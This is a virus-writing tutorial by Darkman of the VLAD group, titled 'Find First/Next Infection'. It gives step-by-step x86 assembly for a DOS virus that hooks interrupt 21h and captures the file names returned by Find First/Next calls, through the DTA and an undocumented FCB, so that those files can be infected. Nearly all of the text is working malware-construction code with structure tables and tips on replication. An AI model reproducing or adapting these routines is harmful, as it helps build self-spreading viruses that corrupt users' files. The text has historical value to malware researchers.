354 lines
14 KiB
Plaintext
354 lines
14 KiB
Plaintext
|
|
F I N D F I R S T / N E X T I N F E C T I O N
|
|
"Aggressive replication"
|
|
Written by
|
|
Darkman/VLAD
|
|
|
|
|
|
----------------------------------------------------------------
|
|
How to get the filename from Find First/Next Matching File (DTA)
|
|
----------------------------------------------------------------
|
|
|
|
The below steps must be followed to get the filename from DTA:
|
|
|
|
1. If Find First Matching File (4Eh), then get the path and then...
|
|
2. Call original interrupt 21h.
|
|
3. Get the Disk Transfer Address (DTA).
|
|
4. Get the filename.
|
|
5. RETurn from interrupt 21h.
|
|
|
|
----------------------------------------------------------------
|
|
If Find First Matching File (4Eh), then get the path and then...
|
|
----------------------------------------------------------------
|
|
|
|
The below code shows an example of how get the path of the filename:
|
|
|
|
;------------------------------------------------------------=< cut here >=-
|
|
lea di,filename ; DI = offset of filename
|
|
mov si,dx
|
|
push cs ; Save CS at stack
|
|
pop es ; Load ES from stack (CS)
|
|
mov filenameoff,di ; Store offset of filename
|
|
movepathdta:
|
|
lodsb ; Load a byte of path
|
|
or al,al ; End of path?
|
|
je pathdtaexit ; Equal? Jump to pathdtaexit
|
|
stosb ; Store a byte of path
|
|
|
|
cmp al,':' ; Possible end of path?
|
|
je setnameoff ; Equal? Jump to setnameoff
|
|
cmp al,'\' ; Possible end of path?
|
|
jne movepathdta ; Not equal? Jump to movepathdta
|
|
setnameoff:
|
|
mov filenameoff,di ; Store offset of filename
|
|
jmp movepathdta
|
|
pathdtaexit:
|
|
;------------------------------------------------------------=< cut here >=-
|
|
|
|
This code presumes that a variable of 76 bytes called filename and a
|
|
variable of a word called filenameoff exists. Remember to PUSH and POP the
|
|
used registers before and after the code.
|
|
|
|
---------------------------
|
|
Call original interrupt 21h
|
|
---------------------------
|
|
|
|
The below code shows an example of how to call the original interrupt 21h:
|
|
|
|
;------------------------------------------------------------=< cut here >=-
|
|
call simint21 ; Do it!
|
|
;------------------------------------------------------------=< cut here >=-
|
|
|
|
This code presumes a procedure called simint21 exists. Remember to POP and
|
|
PUSH the used registers before and after the code.
|
|
|
|
-----------------------------------
|
|
Get the Disk Transfer Address (DTA)
|
|
-----------------------------------
|
|
|
|
The below code shows an example of how to get the Disk Transfer Area (DTA):
|
|
|
|
;------------------------------------------------------------=< cut here >=-
|
|
mov ah,2fh ; Get Disk Transfer Address (DTA)
|
|
int 21h ; Do it!
|
|
;------------------------------------------------------------=< cut here >=-
|
|
|
|
----------------
|
|
Get the filename
|
|
----------------
|
|
|
|
The below code shows an example of how to get the filename:
|
|
|
|
;------------------------------------------------------------=< cut here >=-
|
|
mov di,filenameoff ; DI = offset of filename
|
|
mov si,bx
|
|
add si,1eh ; SI = offset of filename (DTA)
|
|
push es ; Save ES at stack
|
|
pop ds ; Load DS from stack (ES)
|
|
push cs ; Save CS at stack
|
|
pop es ; Load ES from stack (CS)
|
|
movenamedta:
|
|
lodsb ; Load a byte of filename (DTA)
|
|
stosb ; Store a byte of filename
|
|
or al,al ; End of filename?
|
|
jne movenamedta ; Not equal? Jump to movenamedta
|
|
;------------------------------------------------------------=< cut here >=-
|
|
|
|
This code presumes that a variable of a word called filenameoff exists. The
|
|
filename with full path is in the 76 bytes variable called filename and ready
|
|
to be infected.
|
|
|
|
-------------------------
|
|
RETurn from interrupt 21h
|
|
-------------------------
|
|
|
|
The below code shows an example of how to return from interrupt 21h:
|
|
|
|
;------------------------------------------------------------=< cut here >=-
|
|
retf 02h ; Return far and pop a word!
|
|
;------------------------------------------------------------=< cut here >=-
|
|
|
|
Remember to POP the used registers before this code.
|
|
|
|
----------------------------------------------------------------
|
|
How to get the filename from Find First/Next Matching File (FCB)
|
|
----------------------------------------------------------------
|
|
|
|
The below steps must be followed to get the filename from DTA:
|
|
|
|
1. Check if the path is shown. If it is, get the path and then...
|
|
2. Call original interrupt 21h.
|
|
3. Check if the FCB is extended. If it is, move the offset.
|
|
4. Get the filename.
|
|
5. Get the extension.
|
|
6. Create a ASCIIZ filename.
|
|
7. RETurn from interrupt 21h.
|
|
|
|
--------------------------------------------------------------
|
|
Check if the path is shown. If it is, get the path and then...
|
|
--------------------------------------------------------------
|
|
|
|
The below code shows an example of how to check if the path is shown and if
|
|
it is, how to get the path:
|
|
|
|
;------------------------------------------------------------=< cut here >=-
|
|
mov si,dx
|
|
add si,0a4cfh ; SI = offset of FCB
|
|
cmp byte ptr [si+01h],':'
|
|
jne realfcb ; Not equal? Jump to realfcb
|
|
|
|
lea di,filename ; DI = offset of filename
|
|
push cs ; Save CS at stack
|
|
pop es ; Load ES from stack (CS)
|
|
movepathfcb:
|
|
lodsb ; Load a byte of path
|
|
or al,al ; End of path?
|
|
je pathfcbexit ; Equal? Jump to pathfcbexit
|
|
stosb ; Store a byte of path
|
|
jmp movepathfcb
|
|
pathfcbexit:
|
|
mov al,'\'
|
|
stosb ; Store the last byte of the path
|
|
mov filenameoff,di ; Store offset of filename
|
|
;------------------------------------------------------------=< cut here >=-
|
|
|
|
This code presumes that a variable of 76 bytes called filename and a
|
|
variable of a word called filenameoff exists. Remember to PUSH and POP the
|
|
used registers before and after the code.
|
|
|
|
---------------------------
|
|
Call original interrupt 21h
|
|
---------------------------
|
|
|
|
The below code shows an example of how to call the original interrupt 21h:
|
|
|
|
;------------------------------------------------------------=< cut here >=-
|
|
call simint21 ; Do it!
|
|
;------------------------------------------------------------=< cut here >=-
|
|
|
|
This code presumes a procedure called simint21 exists. Remember to POP and
|
|
PUSH the used registers before and after the code.
|
|
|
|
-------------------------------------------------------
|
|
Check if the FCB is extended. If it is, move the offset
|
|
-------------------------------------------------------
|
|
|
|
The below code shows an example of how to check if the FCB is extended and
|
|
if it is, how to move the offset:
|
|
|
|
;------------------------------------------------------------=< cut here >=-
|
|
cld ; Clear direction flag
|
|
|
|
add dx,0a4cfh ; DX = offset of FCB
|
|
mov si,dx
|
|
lodsb ; Load a byte of FCB
|
|
dec si ; Decrease SI
|
|
|
|
cmp al,0ffh ; Extended FCB ID
|
|
jne initmovefcb ; Not equal? Jump to initmovefcb
|
|
add si,07h ; SI = offset of extended FCB
|
|
initmovefcb:
|
|
;------------------------------------------------------------=< cut here >=-
|
|
|
|
----------------
|
|
Get the filename
|
|
----------------
|
|
|
|
The below code shows an example of how to get the filename:
|
|
|
|
;------------------------------------------------------------=< cut here >=-
|
|
mov cx,08h ; Move 8 bytes
|
|
mov di,filenameoff ; DI = offset of filename
|
|
inc si ; SI = offset of filename (FCB)
|
|
push cs ; Save CS at stack
|
|
pop es ; Load ES from stack (CS)
|
|
movenamefcb:
|
|
lodsb ; Load a byte of filename (FCB)
|
|
cmp al,' ' ; End of filename?
|
|
je createext ; Equal? Jump to createext
|
|
stosb ; Store a byte of filename
|
|
loop movenamefcb
|
|
inc si ; Increase SI
|
|
createext:
|
|
;------------------------------------------------------------=< cut here >=-
|
|
|
|
This code presumes that a variable of 76 bytes called filename and a
|
|
variable of a word called filenameoff exists.
|
|
|
|
-----------------
|
|
Get the extension
|
|
-----------------
|
|
|
|
The below code shows an example of how to get the extension:
|
|
|
|
;------------------------------------------------------------=< cut here >=-
|
|
mov al,'.'
|
|
dec si ; Decrease SI
|
|
add si,cx ; SI = offset of extension (FCB)
|
|
stosb ; Create .COM extension
|
|
movsw ; Move extension
|
|
movsb ; " "
|
|
;------------------------------------------------------------=< cut here >=-
|
|
|
|
-------------------------
|
|
Create an ASCIIZ filename
|
|
-------------------------
|
|
|
|
The below code shows an example of how to create an ASCIIZ filename:
|
|
|
|
;------------------------------------------------------------=< cut here >=-
|
|
xor al,al ; Clear AL
|
|
stosb ; Create an ASCIIZ filename
|
|
;------------------------------------------------------------=< cut here >=-
|
|
|
|
The filename with full path is in the 76 bytes variable called filename and
|
|
ready to be infected.
|
|
|
|
-------------------------
|
|
RETurn from interrupt 21h
|
|
-------------------------
|
|
|
|
The below code shows an example of how to return from interrupt 21h:
|
|
|
|
;------------------------------------------------------------=< cut here >=-
|
|
retf 02h ; Return far and pop a word!
|
|
;------------------------------------------------------------=< cut here >=-
|
|
|
|
Remember to POP the used registers before this code.
|
|
|
|
-------------------------------------
|
|
Disk Transfer Address (DTA) structure
|
|
-------------------------------------
|
|
|
|
The above Find First/Next Matching File (DTA) infector is using the normal
|
|
DTA. This is the DTA structure:
|
|
|
|
-----------------------------------------
|
|
Offset Length Field
|
|
-----------------------------------------
|
|
00 01 Drive letter
|
|
01-0B 0B Search template
|
|
0C-14 09 Reserved
|
|
15 01 File attribute
|
|
16-17 02 File time
|
|
18-19 02 File date
|
|
1A-1D 04 File size
|
|
1E-3A 0D ASCIIZ filename + extension
|
|
-----------------------------------------
|
|
|
|
----------------------------------
|
|
File Control Block (FCB) structure
|
|
----------------------------------
|
|
|
|
The above Find First/Next Matching File (FCB) infector does not use the
|
|
usual File Control Block (FCB), but a undocumented FCB. This FCB is placed
|
|
42191 bytes above the opened FCB. This is FCB structure:
|
|
|
|
--------------------------
|
|
Offset Length Field
|
|
--------------------------
|
|
00 01 Drive code
|
|
01-08 08 Filename
|
|
09-0B 03 Extension
|
|
0C-16 0B Undocumented
|
|
17-18 02 File time
|
|
19-1A 02 File date
|
|
1B-1C 02 Undocumented
|
|
1D-20 04 File size
|
|
--------------------------
|
|
|
|
This FCB is not the same as the usual FCB.
|
|
|
|
If the FCB is extended; then the first fields of the structure will look
|
|
like this:
|
|
|
|
-----------------------------
|
|
Offset Length Field
|
|
-----------------------------
|
|
00 01 Extended FCB ID
|
|
01-05 05 Reserved
|
|
06 01 File attribute
|
|
-----------------------------
|
|
|
|
Then the normal FCB will begin after the extended FCB at offset 07.
|
|
|
|
----------------------------------------------------
|
|
Necessary labels, variables and code to the examples
|
|
----------------------------------------------------
|
|
|
|
The above examples presumes that a variable of 76 bytes called filename
|
|
exists. This variable holds the filename with full path of the FCB/DTA
|
|
filename. It should look like this:
|
|
|
|
filename db 4ch dup(?) ; DTA/FCB filename
|
|
|
|
The above examples presumes that a variable of a word called filenameoff
|
|
exists. This variable holds the offset of the filename, which is placed after
|
|
the path. It should look like this:
|
|
|
|
filenameoff dw ? ; Offset of DTA/FCB filename
|
|
|
|
The above examples presumes that a procedure called simint21 exists. This
|
|
procedure will call the original interrupt 21h. This is done because we have
|
|
intercepted interrupt 21h. It should look like this:
|
|
|
|
simint21 proc near ; Simulate interrupt 21h
|
|
pushf ; Save flags at stack
|
|
callfar db 9ah ; Object code of a far call
|
|
int21adr dd 0 ; Address of interrupt 21h
|
|
ret ; Return!
|
|
endp
|
|
|
|
However the address of the original interrupt should be placed in the
|
|
variable with the name int21adr.
|
|
|
|
---------------------
|
|
Final tips and tricks
|
|
---------------------
|
|
|
|
- The mentioned variables do not have to be in the code, just in the memory.
|
|
- If you replicate both ways then don't return twice, just jump to a return.
|
|
- Remember to optimize your code.
|
|
|
|
|